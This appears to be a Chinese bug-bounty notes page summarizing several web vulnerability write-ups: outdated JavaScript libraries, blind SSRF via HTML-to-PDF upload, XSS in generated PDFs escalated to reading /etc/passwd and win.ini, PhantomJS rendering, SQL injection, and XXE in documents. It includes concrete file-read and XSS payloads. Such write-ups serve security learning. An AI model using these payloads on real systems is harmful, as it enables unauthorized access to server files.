First:Vulnerable Javascript Files
- 今天几乎每个网站都以某种方式使用javascript。Jquery,anglular,react和vue是流行的javascript库和框架的一些例子。其中每个都包含漏洞,如果网站使用过时的版本,他们就有可能实施易受攻击的功能,从而使整个网站面临风险
- Retire JS是一个很棒的工具,可以扫描网站上过时的软件。使用此工具最简单的方法是下载chrome插件。下载插件后,它将扫描您在后台访问的每个站点,查找过时的javascript文件,其中许多文件包含已知的CVE。
- 重要的是要知道,仅仅因为网站导入易受攻击的javascript文件并不意味着您可以利用此漏洞。为了利用此漏洞,网站必须使用易受攻击的功能。可以在不使用易受攻击的功能的情况下导入易受攻击的库。但是,即使你不能利用已经过时软件的漏洞总是不好的做法。如果该网站正在实施易受攻击的功能,那么您就获得了胜利
- 自动化批量检测脚本:https://github.com/ghostlulzhacks/RetireJs
Second:P4 to P2 - The story of one blind SSRF
1.尝试XSS
发现转换为pdf格式的上传点可以上传html文件,发现上传带有payload的html文件并没有被解析
2.尝试读取本地文件
1 | <object width="400" height="400" data="file://c:/windows/win.ini"></object> |
尝试通过img标签包含现有的本地图像。但是,Web服务器上存在100%的哪种图片?记住用户代理的类型,Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)这可能意味着它是Internet Explorer的标题。我发现默认情况下使用此浏览器存在于Web服务器上的图像 - C:\Program Files\Internet Explorer\images\bing.ico并尝试包含它(不要忘记使用’file://‘)。
最后,我有一个有效载荷:
1 | <img src="file:///C:\Program Files\Internet Explorer\images\bing.ico"> |
Third:LOCAL FILE READ VIA XSS IN DYNAMICALLY GENERATED PDF
在动态生成的PDF中通过XSS读取本地文件
其中,utrnumber的参数会反映在已下载的PDF文件中,我在utrnumber参数中写了一些HTML 作为“> aaa
即:https://xyz.com/payments/downloadStatements?Id=b9bc3d&**“> aaa**&date = 2017-08-11&settlement_type = all&advice_id = undefined
接着发现可以使用<img src=x onerror=document.write(‘aaaa’)>打印出aaa的值
https://xyz.com/payments/downloadStatements?Id=b9bc3d&**utrnumber**=**<img src=x onerror=document.write(‘aaaa’)>**&date=2017-08-11&settlement_type=all&advice_id=undefined
之后发现window.location的执行位置在服务器上的file:// origin上执行(个人理解为:文件在服务器端生成,所以location的源头应该在服务器上)
之后通过:https://xyz.com/payments/downloadStatements?Id=b9bc3d&**utrnumber**=**<img src=x onerror=document.write(‘aaaa’%2bwindow.location)>**&date=2017-08-11&settlement_type=all&advice_id=undefined
最后通过XMLHttpRequest的方式访问file:///etc/passwd
1 | <script> |
构造最终的POC:https://xyz.com/payments/downloadStatements?Id=b9bc3d&utrnumber=****&date=2017-08-11&settlement_type=all&advice_id=undefined
服务器端的XSS生成PDF到本地文件读取
Fourth:Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File Read
该计划接受用户输入并生成图像供您下载。经过一段时间后,我能够从图像内部的XSS一直升级到服务器上的任意本地文件读取
案例过程和上面的差不多,就不做分析了
Fiveth:新思路–APP端上传通讯录导致SQL注入
有些app软件是要求上传通讯录的,上传时可以通过抓包,观察参数得到注入
Sixth:文件上传XXE
将doc或pdf等各种文件格式,解压出来,查看内部文本,往document.xml中插入XXE恶意代码